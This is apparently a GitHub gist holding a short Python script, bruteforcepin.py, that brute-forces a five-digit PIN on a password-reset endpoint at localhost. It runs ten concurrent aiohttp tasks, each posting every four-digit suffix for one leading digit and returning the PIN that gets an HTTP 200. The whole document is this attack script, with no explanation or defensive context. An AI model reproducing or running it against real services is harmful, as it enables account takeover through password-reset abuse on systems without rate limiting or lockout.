Created
February 2, 2023 20:37
-
-
Save betillogalvanfbc/0541a7c67efc66f68734367e1b45f459 to your computer and use it in GitHub Desktop.
bruteforcepin.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import asyncio | |
import aiohttp | |
async def crack_pin(prefix, session): | |
for i in range(10000): | |
pin = prefix + str(i).zfill(4) | |
async with session.post("http://localhost/resetpassword", data={"pin": pin}) as resp: | |
if resp.status == 200: | |
return pin | |
await asyncio.sleep(0.01) | |
async def run_attacks(session): | |
prefixes = [str(i) for i in range(10)] | |
tasks = [asyncio.create_task(crack_pin(prefix, session)) for prefix in prefixes] | |
cracked_pin = await asyncio.gather(*tasks) | |
return [pin for pin in cracked_pin if pin is not None][0] | |
async def main(): | |
async with aiohttp.ClientSession() as session: | |
pin = await run_attacks(session) | |
print(f"Cracked pin: {pin}") | |
asyncio.run(main()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment